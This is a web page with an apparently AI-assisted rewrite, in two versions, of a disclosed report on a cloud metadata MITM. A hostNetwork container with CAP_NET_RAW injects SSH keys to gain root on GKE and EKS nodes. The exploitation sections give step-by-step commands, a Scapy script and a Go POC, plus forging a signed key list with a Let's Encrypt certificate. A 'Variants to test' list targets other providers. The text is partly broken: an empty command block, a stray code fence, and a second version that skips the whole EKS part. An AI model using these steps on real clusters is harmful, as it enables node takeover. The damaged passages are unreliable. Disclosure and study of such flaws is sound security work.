Skip to content
SSRF Write-up Advanced

Metadata service MITM allows root privilege escalation (EKS / GKE)

A container with host networking and raw socket capability could intercept unencrypted metadata service traffic and inject an SSH key, allowing root access to the node. This affected EKS and GKE clusters.

Etienne Champetier Follow

Published on github.com

After finding that having containers with CAPNETRAW could allow you to launch Host MITM attack via IPv6 rogue router advertisements, on top of classic ARP spoofing when using bridge CNI, i went ahead and looked for more fun network attacks.

Etienne Champetier / champtar, on github.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

Context

Cloud instances commonly expose a metadata service over plain HTTP at http://[redacted]. Among the data it returns, some providers include the SSH public keys that are authorised for the instance. AWS and GCP (and possibly others) let you connect to an instance with SSH keys that were not present at boot: the instance retrieves new keys at runtime, over HTTP, from the metadata service. That means anyone who can intercept and rewrite that HTTP traffic can insert their own key and log in as a sudoer or root user.

The researcher had previously shown that a container holding the CAP_NET_RAW Linux capability could launch a host MITM attack through IPv6 rogue router advertisements, and through classic ARP spoofing when a bridge CNI is used. This write-up extends that work: by combining hostNetwork=true with CAP_NET_RAW, it was possible to gain root privilege on the node on both EKS and GKE clusters. Another route to the same MITM position is K8S CVE-2020-8554.

CAP_NET_RAW lets a process open raw sockets, so it can listen to all traffic in the network namespace (as tcpdump does) and send any type of packet. It is enabled by default in Docker and Containerd, but not in cri-o since 1.18, where it is kept only so that ping works. The author calls this a bad default that should be replaced by the net.ipv4.ping_group_range sysctl.

In the author's testing, Azure retrieves SSH keys securely, and the cloud-init Linux package only retrieves SSH keys once, early during boot, which limits the window for this attack.

Setup

The precondition on both clouds is a pod with hostNetwork=true; the CAP_NET_RAW capability, enabled by default in Docker and Containerd, gives it raw socket access. With those, an attacker can listen to all traffic going through the host and inject arbitrary traffic, tampering with most unencrypted protocols (HTTP, DNS, DHCP and so on) and disrupting encrypted traffic.

Tools used:

  • On GKE: python3-scapy and openssh-client, plus the metadatascapy.py script.
  • On EKS: openssh-client, curl, openssl, libpcap-dev and golang, plus a Golang POC built on gopacket.

For the EKS test the author deployed an EKS cluster in the us-east-2 region and configured kubectl. Other regions could be targeted, but the supplied cert0.pem is for us-east-2. In the author's tests the AMI was AL2_x86_64 / 1.17.11-20201007.

Finding it

The starting observation is that the metadata service is reachable over HTTP, and that the SSH keys it serves are fetched at runtime. If the host trusts whatever comes back from http://[redacted], then a process that can see and answer that traffic on the host can substitute its own key.

On GKE, the host queries the metadata service at http://[redacted] to get information, including the authorised SSH keys. Manipulating those responses to inject an attacker key yields root on the host.

On EKS, the mechanism is EC2 Instance Connect. The AWS AMI contains this line in sshd_config:

Text
AuthorizedKeysCommand /opt/aws/bin/eic_run_authorized_keys %u %f

The eic_curl_authorized_keys script (before the fix) queries the metadata service at http://[redacted]. One of the responses is a signed list of SSH keys, with the instance name and an expiration timestamp, like this:

Text
#Timestamp=2147483647
#Instance=realinstancename
#Caller=wedontcare
#Request=wedontcare
ssh-rsa ...
sha256/rsa signature in base64

Those responses cannot simply be replayed on a different instance: the instance name is retrieved over HTTP but it is verified, and the attacker does not have the private key matching the signed public key. So the interesting question becomes what exactly the script verifies, and whether a MITM can satisfy those checks with a key of its own.

Exploitation

GKE: from hostNetwork pod to root on the node

  1. Create a GKE cluster.

  2. Create a hostNetwork=true pod:

    Text
    kubectl apply -f - <<'EOF'
    apiVersion: v1
    kind: Pod
    metadata:
      name: ubuntu-node
    spec:
      hostNetwork: true
      containers:
      - name: ubuntu
        image: ubuntu:latest
        command: [ "/bin/sleep", "inf" ]
    EOF
    
  3. Copy the metadatascapy.py script into the pod:

    Text
    kubectl cp metadatascapy.py ubuntu-node:/metadatascapy.py
    
  4. Connect to the container:

    Text
    kubectl exec -ti ubuntu-node -- /bin/bash
    

    The following commands run in the container shell.

  5. Install the needed packages:

    Text
    apt update && apt install -y python3-scapy openssh-client
    
  6. Generate the SSH key that will be injected and used to log in to the host:

    Text
    ssh-keygen -t ed25519 -f /root/.ssh/id_ed25519 -N ""
    
  7. Launch the script and wait up to two minutes:

    Text
    python3 /metadatascapy.py
    

    If a kubeconfig and some certificates are printed, it worked.

Hijacking a TCP connection such as an HTTP request requires the correct TCP sequence numbers and answering faster than the real server. Google uses HTTP long polling to wait for new SSH keys (one minute or more), and the attacker can listen to all traffic, so forging TCP packets with Scapy is straightforward.

There are two ways to inject traffic so that it is received by the same host: a layer 2 raw socket on the lo interface, or a layer 3 raw socket. In the past the L2 socket on lo did not work, and the Scapy FAQ recommends L3. GKE nodes were also already using net.ipv4.conf.all.rp_filter = 1, which effectively blocks the L2 approach. To block L3, the Google team added this iptables rule on GKE nodes:

Text
iptables -w -t mangle -I OUTPUT -s [redacted] -j DROP

The rule was added in these releases:

  • 1.19.2-gke.2400
  • 1.18.9-gke.2500
  • 1.17.12-gke.2500
  • 1.16.15-gke.2600

This only fixes GKE. Anyone deploying Kubernetes themselves on GCP instances is likely still vulnerable.

EKS: what eic_curl_authorized_keys does

Going back to the beginning of eic_curl_authorized_keys, the sequence is:

  1. Define the address of the metadata service as http://[redacted]/.

  2. PUT /latest/api/token, which returns a metadata v2 token.

  3. GET /latest/meta-data/instance-id/, which returns the instance-id; the script verifies it against /sys/devices/virtual/dmi/id/board_asset_tag.

  4. HEAD /latest/meta-data/managed-ssh-keys/active-keys/USER/.

  5. GET /latest/meta-data/placement/availability-zone/; the region name (us-east-2) is extracted from the availability zone name.

  6. GET /latest/meta-data/services/domain/, which in the author's region is amazonaws.com.

  7. From steps 5 and 6 the expected CN of the signer certificate is deduced:

    Text
    expected_signer="managed-ssh-signer.${region}.${domain}"
    
  8. GET /latest/meta-data/managed-ssh-keys/signer-cert/, which returns the signer certificate and chain.

  9. GET /latest/meta-data/managed-ssh-keys/signer-ocsp/, which returns the SHA1 fingerprint of each certificate.

  10. GET /latest/meta-data/managed-ssh-keys/signer-ocsp/SHA1, which retrieves the actual OCSP responses.

  11. GET /latest/meta-data/managed-ssh-keys/active-keys/USER/, which returns the signed SSH keys list.

  12. All of this is passed to eic_parse_authorized_keys, which checks that the certificates match expected_signer, are trusted, and have valid OCSP responses.

An attacker able to MITM between the script and the metadata service can inject responses for steps 4, 6, 8, 9, 10 and 11, and then SSH as root on the instance. In short: managed-ssh-signer.us-east-2.amazonaws.com, signed by Amazon, is trusted, but so is managed-ssh-signer.us-east-2.champetier.net, signed by Let's Encrypt, provided the right responses are supplied.

EKS: the Golang POC

On EKS, an attacker who gets arbitrary code execution as root in a hostNetwork pod can use CAP_NET_RAW to monitor and inject packets on the instance. The POC uses Golang (gopacket) because Scapy was often slower to inject packets than the metadata service was to respond, which made the attack unreliable.

The files are:

  1. cert0.pem: CN=managed-ssh-signer.us-east-2.champetier.net, expired Jan 10 2021.
  2. privkey.pem: the private key of that certificate.
  3. cert1.pem: CN=Let's Encrypt Authority X3.
  4. cert2.pem: CN=DST Root CA X3.
  5. go.mod, go.sum and mitmmeta.go: the Golang POC.

Steps:

  1. Deploy an EKS cluster in us-east-2 and configure kubectl.

  2. Launch a hostNetwork pod:

    Text
    kubectl apply -f - <<'EOF'
    apiVersion: v1
    kind: Pod
    metadata:
      name: ubuntu-node
    spec:
      hostNetwork: true
      containers:
      - name: ubuntu
        image: ubuntu:latest
        command: [ "/bin/sleep", "inf" ]
    EOF
    
  3. Copy the seven files into the container:

    Text
    kubectl cp . ubuntu-node:/
    
  4. Connect to the container:

    Text
    kubectl exec -ti ubuntu-node -- /bin/bash
    

    The remaining commands run in the pod.

  5. Install the needed software:

    Text
    apt update && apt install -y openssh-client curl openssl libpcap-dev golang
    
  6. Build the Golang POC:

    Text
    go build .
    
  7. Download the OCSP responses and concatenate the signer certificate:

    Text
    downloadocsp() {
        fingerprint=$(openssl x509 -noout -fingerprint -sha1 -inform pem -in "${1}" | /bin/sed -n 's/SHA1 Fingerprint[[:space:]]*=[[:space:]]*\(.*\)/\1/p' | tr -d ':')
        ocsp_url="$(openssl x509 -noout -ocsp_uri -in "${1}")"
        openssl ocsp -no_nonce -issuer "${2}" -cert "${1}" -url "$ocsp_url" -respout "${3}/$fingerprint-raw"
        base64 -w0 "${3}/$fingerprint-raw" > "${3}/$fingerprint"
        rm -f "${3}/$fingerprint-raw"
    }
    mkdir ocsp
    downloadocsp cert0.pem cert1.pem ocsp
    downloadocsp cert1.pem cert2.pem ocsp
    cat cert0.pem cert1.pem > signer.pem
    

    The function computes the SHA1 fingerprint of a certificate, fetches its OCSP response from the certificate's OCSP URI, and stores the base64 encoding under the fingerprint name, which is the layout the metadata responses use. signer.pem holds the leaf plus the intermediate.

  8. Generate the SSH key used to connect:

    Text
  9. Prepare the API SSH response:

    Text
    cat > sshkeys-unsigned <<EOF
    #Timestamp=2147483647
    #Instance=$(curl http://[redacted]/latest/meta-data/instance-id/ -s)
    #Caller=wedontcare
    #Request=wedontcare
    EOF
    cat /root/.ssh/id_ed25519.pub >> sshkeys-unsigned
    openssl dgst -sha256 -sigopt rsa_padding_mode:pss -sigopt rsa_pss_saltlen:32 -sign privkey.pem sshkeys-unsigned | base64 -w0 > sshkeys-signature
    cat sshkeys-unsigned sshkeys-signature > sshkeys
    echo "" >> sshkeys
    

    The instance name is taken from the real metadata service, and the attacker's public key is signed with the private key of the Let's Encrypt certificate.

  10. Launch the POC:

    Text
    ./mitmmeta
    
  11. In a second shell, connect to the pod and then to the node:

    Text
    kubectl exec -ti ubuntu-node -- /bin/bash
    ssh [redacted]
    

    You are now root on the instance.

Searching Certificate Transparency logs, it appears the author is the only one who created such a certificate.

Root cause

The design flaw is that the instance trusts SSH keys delivered over unauthenticated HTTP from the metadata service. The EKS script does perform checks: the instance name is verified against the DMI board asset tag, the signer certificate must match the expected CN derived from the region and domain, and OCSP responses must be valid. But every input to those checks, including the region, the domain, the signer certificate, the OCSP data and the key list, is itself fetched over the same HTTP channel. A MITM can therefore supply a consistent set of answers: a certificate for managed-ssh-signer.<region>.<domain> issued by a CA the instance trusts, with matching OCSP responses, and a key list signed by that certificate. An attacker able to MITM between the script and the metadata service can inject responses for steps 4, 6, 8, 9, 10 and 11.

On GKE the host simply queries the metadata service for its authorised keys, so rewriting the response is enough. GKE nodes already used net.ipv4.conf.all.rp_filter = 1, which effectively blocks the L2 approach, so the Google team added an iptables rule to block L3. This only fixes GKE.

Impact

An attacker who can run code in a hostNetwork=true pod with CAP_NET_RAW can gain root on the node on both EKS and GKE clusters. On GKE this works by injecting an SSH key into the metadata responses. On EKS it works by injecting metadata responses, including a signer certificate signed by Let's Encrypt, that the script accepts. The same MITM position can also tamper with other unencrypted traffic (HTTP, DNS, DHCP) and disrupt encrypted traffic. Self-managed Kubernetes on GCP instances is likely still vulnerable to the GKE variant. In the author's testing, Azure retrieves SSH keys securely, and cloud-init fetches keys only once, early at boot.

Fix

Google rolled out an iptables rule on GKE nodes:

Text
iptables -w -t mangle -I OUTPUT -s [redacted] -j DROP

It shipped in 1.19.2-gke.2400, 1.18.9-gke.2500, 1.17.12-gke.2500 and 1.16.15-gke.2600. AWS pushed a fix to verify the domain in eic_curl_authorized_keys (the commit is dated 2020-10-22). The author also argues that CAP_NET_RAW should not be a default and should be replaced by the net.ipv4.ping_group_range sysctl.

Timeline:

  • 2020-06-15: report to the K8S security team via HackerOne, asking them to consider dropping CAP_NET_RAW by default; only GKE had been tested at that point.
  • 2020-07-01: report to Google.
  • 2020-10-19: report to AWS Security after looking at EKS over a weekend.
  • 2020-10-23: Google starts rolling out the GKE fix.
  • 2020-11-10: Google bounty, donated to Handicap International.
  • 2020-11-12: call with AWS Security to confirm they understood the report.
  • 2020-11-17: AWS pushes the domain verification fix (dated 2020-10-22).
  • 2020-12-04: AWS confirms the fix on their side.
  • 2020-12-07: asks Google whether the issue can be discussed publicly, as the ticket is not marked fixed yet.
  • 2021-02-04: the K8S HackerOne report is closed as provider specific.
  • 2021-02-10: Google marks the ticket as fixed.
  • 2021-02-28: write-up finished.

Variants to test

  • Run a hostNetwork=true pod with CAP_NET_RAW on another managed Kubernetes provider and watch for metadata traffic to [redacted]. A positive result is seeing the host fetch SSH keys or other credentials over HTTP that you can rewrite.
  • Try the same on self-managed Kubernetes on GCP instances. A positive result is the metadata response being accepted after injection, since the GKE iptables rule is not present there.
  • Check whether the instance's SSH key retrieval happens once at boot or repeatedly at runtime. Repeated retrieval over HTTP widens the window; a single early fetch limits it.
  • Inspect the AuthorizedKeysCommand in the AMI's sshd_config and the script it calls. A positive result is a script that fetches the signer certificate, OCSP data and key list over the same unauthenticated channel it is meant to protect.
  • Look for other ways to obtain a MITM position, such as K8S CVE-2020-8554, when CAP_NET_RAW is not available.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 15 min read.

What happened, in plain words

Cloud providers run a small helper service inside every virtual machine they give you. It is called the metadata service, and it answers questions like "what is my instance ID?" or "which SSH keys may log in here?". The catch is that this service is reached over plain HTTP, the unencrypted version of the web, at the address http://[redacted]. Anyone who can sit between the machine and that service, and rewrite the answers, can tell the machine whatever they like.

On AWS and Google Cloud, the machine can fetch new SSH keys while it is running, not only at boot. SSH keys are the files that let you log in to a server without a password. So if an attacker can intercept the HTTP conversation and slip in their own public key, the machine will accept that key and the attacker can log in as root.

The researcher had already shown that a container holding a Linux permission called CAP_NET_RAW could intercept traffic on the machine it runs on. This write-up goes further: by running a container that shares the host's network and holds CAP_NET_RAW, it was possible to become root on the underlying node on both Amazon EKS and Google GKE, two managed Kubernetes services. Kubernetes is a system for running many containers across many machines; a node is one of those machines.

A quick word on the pieces before we start:

  • Container: a lightweight, isolated box in which a program runs, sharing the operating system kernel with the machine.
  • Pod: the Kubernetes unit that wraps one or more containers.
  • Node: the physical or virtual machine that runs pods.
  • Root: the all-powerful administrator account on a Linux machine.
  • SSH: the standard way to open a remote terminal on a Linux server, protected by a key pair (a public half you hand out and a private half you keep).
  • MITM (man in the middle): an attacker who can read and change traffic between two parties without either noticing, like a postal worker who opens letters, rewrites them and reseals them.
  • Metadata service: a small web server reachable only from inside a cloud instance, at http://[redacted], that hands the instance information about itself.

Context

Cloud instances commonly expose a metadata service over plain HTTP at http://[redacted]. Among the data it returns, some providers include the SSH public keys that are authorised for the instance. AWS and GCP (and possibly others) let you connect to an instance with SSH keys that were not present at boot: the instance retrieves new keys at runtime, over HTTP, from the metadata service. That means anyone who can intercept and rewrite that HTTP traffic can insert their own key and log in as a sudoer or root user.

Think of the metadata service as a noticeboard inside a locked building. Only people inside can reach it, so the cloud provider treats it as trustworthy. But the noticeboard is written in pencil, and anyone standing in the corridor with an eraser can change what it says.

The researcher had previously shown that a container holding the CAP_NET_RAW Linux capability could launch a host MITM attack through IPv6 rogue router advertisements, and through classic ARP spoofing when a bridge CNI is used. This write-up extends that work: by combining hostNetwork=true with CAP_NET_RAW, it was possible to gain root privilege on the node on both EKS and GKE clusters. Another route to the same MITM position is K8S CVE-2020-8554.

Some terms in that paragraph:

  • CAP_NET_RAW: a Linux capability, meaning a specific permission a program can be granted. This one allows a program to open raw network sockets, so it can listen to all traffic on the machine (the way the tool tcpdump does) and send any kind of packet it likes.
  • hostNetwork=true: a Kubernetes setting that makes a pod use the host machine's own network instead of its own isolated one. The pod then sees the same network traffic as the node.
  • ARP spoofing: a trick where an attacker on the same local network pretends to be another machine so that traffic is sent to them first. ARP is the protocol machines use to find each other's hardware addresses on a local network.
  • IPv6 rogue router advertisements: IPv6 is a version of the internet protocol; routers announce themselves to machines on the network. A rogue announcement makes machines send their traffic through the attacker.
  • CNI: container network interface, the plug-in that gives pods their networking. A bridge CNI puts pods on a virtual switch, which makes local spoofing easier.
  • CVE-2020-8554: a publicly catalogued Kubernetes vulnerability (CVE is the standard ID format for disclosed vulnerabilities) that gives another way to intercept traffic.

CAP_NET_RAW lets a process open raw sockets, so it can listen to all traffic in the network namespace (as tcpdump does) and send any type of packet. It is enabled by default in Docker and Containerd, but not in cri-o since 1.18, where it is kept only so that ping works. The author calls this a bad default that should be replaced by the net.ipv4.ping_group_range sysctl.

In plain terms: Docker and Containerd are popular programs that run containers; cri-o is another one. A network namespace is the private view of the network that a container gets. A sysctl is a tunable kernel setting. ping is the simple tool that checks whether a machine is reachable, and it needs a small slice of raw-socket ability; the author argues that a narrow setting is enough for ping and the broad CAP_NET_RAW should not be handed out by default.

In the author's testing, Azure retrieves SSH keys securely, and the cloud-init Linux package only retrieves SSH keys once, early during boot, which limits the window for this attack. cloud-init is the program that sets up a fresh Linux machine at first boot.

Setup

The precondition on both clouds is a pod with hostNetwork=true; the CAP_NET_RAW capability, enabled by default in Docker and Containerd, gives it raw socket access. With those, an attacker can listen to all traffic going through the host and inject arbitrary traffic, tampering with most unencrypted protocols (HTTP, DNS, DHCP and so on) and disrupting encrypted traffic.

  • HTTP is the unencrypted web protocol; DNS is the phone book that turns names into addresses; DHCP hands out network settings to machines. None of them is protected against someone rewriting the traffic.
  • Encrypted traffic (HTTPS, for example) cannot be read or changed without the keys, but it can still be disrupted, for example by dropping or delaying packets.

Tools used:

  • On GKE: python3-scapy and openssh-client, plus the metadatascapy.py script. Scapy is a Python library for crafting and sending network packets by hand.
  • On EKS: openssh-client, curl, openssl, libpcap-dev and golang, plus a Golang POC built on gopacket. curl fetches web pages from the command line, openssl handles certificates and cryptography, libpcap-dev provides the packet-capture library, and gopacket is the Go equivalent of Scapy. A POC is a proof of concept, a small program that demonstrates the attack.

For the EKS test the author deployed an EKS cluster in the us-east-2 region and configured kubectl. Other regions could be targeted, but the supplied cert0.pem is for us-east-2. In the author's tests the AMI was AL2_x86_64 / 1.17.11-20201007. A region is a geographic area where a cloud provider runs data centres; kubectl is the command-line tool for talking to Kubernetes; an AMI is the machine image (the template disk) that AWS uses to start an instance.

Finding it

The starting observation is that the metadata service is reachable over HTTP, and that the SSH keys it serves are fetched at runtime. If the host trusts whatever comes back from http://[redacted], then a process that can see and answer that traffic on the host can substitute its own key.

On GKE, the host queries the metadata service at http://[redacted] to get information, including the authorised SSH keys. Manipulating those responses to inject an attacker key yields root on the host.

On EKS, the mechanism is EC2 Instance Connect. That is an AWS feature that lets you push a temporary SSH key to an instance so you can log in. The AWS AMI contains this line in sshd_config:

Text
AuthorizedKeysCommand /opt/aws/bin/eic_run_authorized_keys %u %f

sshd_config is the configuration file of the SSH server, the program that accepts incoming logins. AuthorizedKeysCommand tells it: instead of reading the list of allowed keys from a file, run this program and use its output. %u is replaced by the username and %f by the key fingerprint. So every time someone tries to log in, the machine runs /opt/aws/bin/eic_run_authorized_keys to find out which keys are allowed.

The eic_curl_authorized_keys script (before the fix) queries the metadata service at http://[redacted]. One of the responses is a signed list of SSH keys, with the instance name and an expiration timestamp, like this:

Text
#Timestamp=2147483647
#Instance=realinstancename
#Caller=wedontcare
#Request=wedontcare
ssh-rsa ...
sha256/rsa signature in base64

Line by line: the first line gives an expiry time (2147483647 is a very large number, effectively far in the future). The second names the instance the list is for. The third and fourth are caller and request details that the script does not care about. The fifth is a public key in the ssh-rsa format. The last is a cryptographic signature over the lines above, in base64 (a way of writing binary data as plain text). A signature proves that whoever produced the list holds a particular private key, and that the list has not been altered.

Those responses cannot simply be replayed on a different instance: the instance name is retrieved over HTTP but it is verified, and the attacker does not have the private key matching the signed public key. So the interesting question becomes what exactly the script verifies, and whether a MITM can satisfy those checks with a key of its own.

Exploitation

GKE: from hostNetwork pod to root on the node

  1. Create a GKE cluster.

  2. Create a hostNetwork=true pod:

    Text
    kubectl apply -f - <<'EOF'
    apiVersion: v1
    kind: Pod
    metadata:
      name: ubuntu-node
    spec:
      hostNetwork: true
      containers:
      - name: ubuntu
        image: ubuntu:latest
        command: [ "/bin/sleep", "inf" ]
    EOF
    

    This is a Kubernetes manifest, a description of what you want to exist. kubectl apply -f - reads it from the terminal input (the - means standard input) and creates it. The pod is named ubuntu-node, uses the ubuntu:latest image (a small Ubuntu Linux), runs the command /bin/sleep inf so it stays alive forever, and sets hostNetwork: true so it shares the node's network. That last line is the whole point: it puts the attacker's container on the same network as the host.

  3. Copy the metadatascapy.py script into the pod:

    Text
    kubectl cp metadatascapy.py ubuntu-node:/metadatascapy.py
    

    kubectl cp copies a file from your computer into a running pod, like scp for Kubernetes. The script is the tool that will watch and answer the metadata traffic.

  4. Connect to the container:

    Text
    kubectl exec -ti ubuntu-node -- /bin/bash
    

    kubectl exec runs a command inside a pod; -ti gives you an interactive terminal. You now have a shell inside the container.

    The following commands run in the container shell.

  5. Install the needed packages:

    Text
    apt update && apt install -y python3-scapy openssh-client
    

    apt is Ubuntu's package manager. apt update refreshes the list of available software, and apt install -y installs the named packages without asking for confirmation. Scapy is needed to forge packets, and the SSH client is needed later to log in.

  6. Generate the SSH key that will be injected and used to log in to the host:

    Text
    ssh-keygen -t ed25519 -f /root/.ssh/id_ed25519 -N ""
    

    ssh-keygen creates a key pair. -t ed25519 picks the modern Ed25519 algorithm, -f says where to save it, and -N "" sets an empty passphrase so it can be used without a prompt. The public half will be slipped into the metadata answers; the private half stays in the container and is used to log in.

  7. Launch the script and wait up to two minutes:

    Text
    python3 /metadatascapy.py
    

    If a kubeconfig and some certificates are printed, it worked. A kubeconfig is the file that holds the credentials and address needed to talk to a Kubernetes cluster, so printing one means the script managed to obtain cluster credentials from the metadata service.

Hijacking a TCP connection such as an HTTP request requires the correct TCP sequence numbers and answering faster than the real server. TCP is the protocol that carries web traffic; every packet carries a sequence number so the two sides can put them in order. To slip a fake reply in, the attacker must guess the right numbers and reply before the genuine server does. Google uses HTTP long polling to wait for new SSH keys (one minute or more), and the attacker can listen to all traffic, so forging TCP packets with Scapy is straightforward. Long polling means the client sends a request and the server holds it open until it has something to say, which gives the attacker a long, predictable moment to jump in.

There are two ways to inject traffic so that it is received by the same host: a layer 2 raw socket on the lo interface, or a layer 3 raw socket. The lo interface is the loopback, the internal network a machine uses to talk to itself. Layer 2 means working with hardware-level frames, layer 3 with IP packets. In the past the L2 socket on lo did not work, and the Scapy FAQ recommends L3. GKE nodes were also already using net.ipv4.conf.all.rp_filter = 1, which effectively blocks the L2 approach. rp_filter is a kernel setting that drops incoming packets that arrive on an unexpected path, a common anti-spoofing measure. To block L3, the Google team added this iptables rule on GKE nodes:

Text
```text
iptables -w -t mangle -I OUTPUT -s [redacted] -j DROP

It shipped in 1.19.2-gke.2400, 1.18.9-gke.2500, 1.17.12-gke.2500 and 1.16.15-gke.2600. AWS pushed a fix to verify the domain in `eic_curl_authorized_keys` (the commit is dated 2020-10-22). The author also argues that `CAP_NET_RAW` should not be a default and should be replaced by the `net.ipv4.ping_group_range` sysctl.

Timeline:

- 2020-06-15: report to the K8S security team via HackerOne, asking them to consider dropping `CAP_NET_RAW` by default; only GKE had been tested at that point. HackerOne is a platform where security researchers report bugs to companies.
- 2020-07-01: report to Google.
- 2020-10-19: report to AWS Security after looking at EKS over a weekend.
- 2020-10-23: Google starts rolling out the GKE fix.
- 2020-11-10: Google bounty, donated to Handicap International. A **bounty** is a reward paid for a valid security report.
- 2020-11-12: call with AWS Security to confirm they understood the report.
- 2020-11-17: AWS pushes the domain verification fix (dated 2020-10-22).
- 2020-12-04: AWS confirms the fix on their side.
- 2020-12-07: asks Google whether the issue can be discussed publicly, as the ticket is not marked fixed yet.
- 2021-02-04: the K8S HackerOne report is closed as provider specific, meaning the Kubernetes team considered it a matter for the cloud providers rather than for Kubernetes itself.
- 2021-02-10: Google marks the ticket as fixed.
- 2021-02-28: write-up finished.

## Variants to test

- Run a `hostNetwork=true` pod with `CAP_NET_RAW` on another managed Kubernetes provider and watch for metadata traffic to `[redacted]`. A positive result is seeing the host fetch SSH keys or other credentials over HTTP that you can rewrite.
- Try the same on self-managed Kubernetes on GCP instances. A positive result is the metadata response being accepted after injection, since the GKE iptables rule is not present there.
- Check whether the instance's SSH key retrieval happens once at boot or repeatedly at runtime. Repeated retrieval over HTTP widens the window; a single early fetch limits it.
- Inspect the `AuthorizedKeysCommand` in the AMI's `sshd_config` and the script it calls. A positive result is a script that fetches the signer certificate, OCSP data and key list over the same unauthenticated channel it is meant to protect.
- Look for other ways to obtain a MITM position, such as K8S CVE-2020-8554, when `CAP_NET_RAW` is not available.

## Glossary

- **AMI**: the machine image, or template disk, that a cloud provider uses to start an instance.
- **ARP spoofing**: pretending to be another machine on a local network so that traffic is sent to the attacker first.
- **Availability zone**: one data centre or group of data centres inside a cloud region.
- **Base64**: a way of writing binary data as plain text characters.
- **Bounty**: a reward paid by a company for a valid security report.
- **CA (certificate authority)**: an organisation whose signature on a certificate machines are configured to trust.
- **`CAP_NET_RAW`**: a Linux capability that lets a program open raw network sockets, so it can listen to all traffic and send any packet.
- **Certificate**: a digital document binding a name to a public key, signed by a CA.
- **Certificate chain**: the list of certificates from a signer up to a trusted root CA.
- **Certificate Transparency**: a public log of every certificate a CA issues, searchable by anyone.
- **Cloud-init**: the program that sets up a fresh Linux machine at first boot.
- **CN (common name)**: the name written inside a certificate.
- **CNI**: the plug-in that gives pods their networking in Kubernetes.
- **Container**: a lightweight isolated box in which a program runs, sharing the machine's kernel.
- **CVE**: the standard ID format for a publicly catalogued vulnerability.
- **DHCP**: the protocol that hands out network settings to machines.
- **DNS**: the phone book that turns names into network addresses.
- **DMI board asset tag**: a value baked into the virtual hardware by the cloud provider, used to verify the instance identity.
- **EKS**: Amazon's managed Kubernetes service.
- **Fingerprint**: a short hash that identifies a certificate.
- **GKE**: Google's managed Kubernetes service.
- **gopacket**: a Go library for capturing and crafting network packets.
- **HackerOne**: a platform where researchers report security bugs to companies.
- **Host network (`hostNetwork=true`)**: a pod setting that makes the pod use the node's own network instead of an isolated one.
- **HTTP**: the unencrypted web protocol.
- **HTTPS**: the encrypted version of HTTP.
- **iptables**: the Linux firewall, which decides which packets are allowed, altered or dropped.
- **Kubeconfig**: the file holding the credentials and address needed to talk to a Kubernetes cluster.
- **Kubernetes**: a system for running many containers across many machines.
- **Layer 2 / layer 3**: the hardware-frame level and the IP-packet level of networking.
- **Let's Encrypt**: a free, widely trusted certificate authority.
- **Long polling**: a request the server holds open until it has something to say.
- **Loopback (`lo`, `[redacted]`)**: the internal network a machine uses to talk to itself.
- **MITM (man in the middle)**: an attacker who can read and change traffic between two parties without either noticing.
- **Network namespace**: a private view of the network that a container gets.
- **OCSP**: the protocol for asking a CA whether a certificate has been revoked.
- **POC (proof of concept)**: a small program that demonstrates an attack.
- **Region**: a geographic area where a cloud provider runs data centres.
- **`rp_filter`**: a kernel setting that drops incoming packets arriving on an unexpected path.
- **Scapy**: a Python library for crafting and sending network packets by hand.
- **SHA1 / SHA-256**: hashing algorithms used to produce fingerprints and signatures.
- **Signature**: cryptographic proof that data was produced by the holder of a particular private key and has not been altered.
- **SSH**: the standard way to open a remote terminal on a Linux server, protected by a key pair.
- **`sshd_config`**: the configuration file of the SSH server.
- **Sysctl**: a tunable kernel setting.
- **TCP**: the protocol that carries web traffic, using sequence numbers to order packets.
- **Token**: a short-lived pass required before a service answers.
- **`us-east-2`**: the name of an AWS region.

More by Etienne Champetier

View all

4 more disclosed reports, best first.

More from Google

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.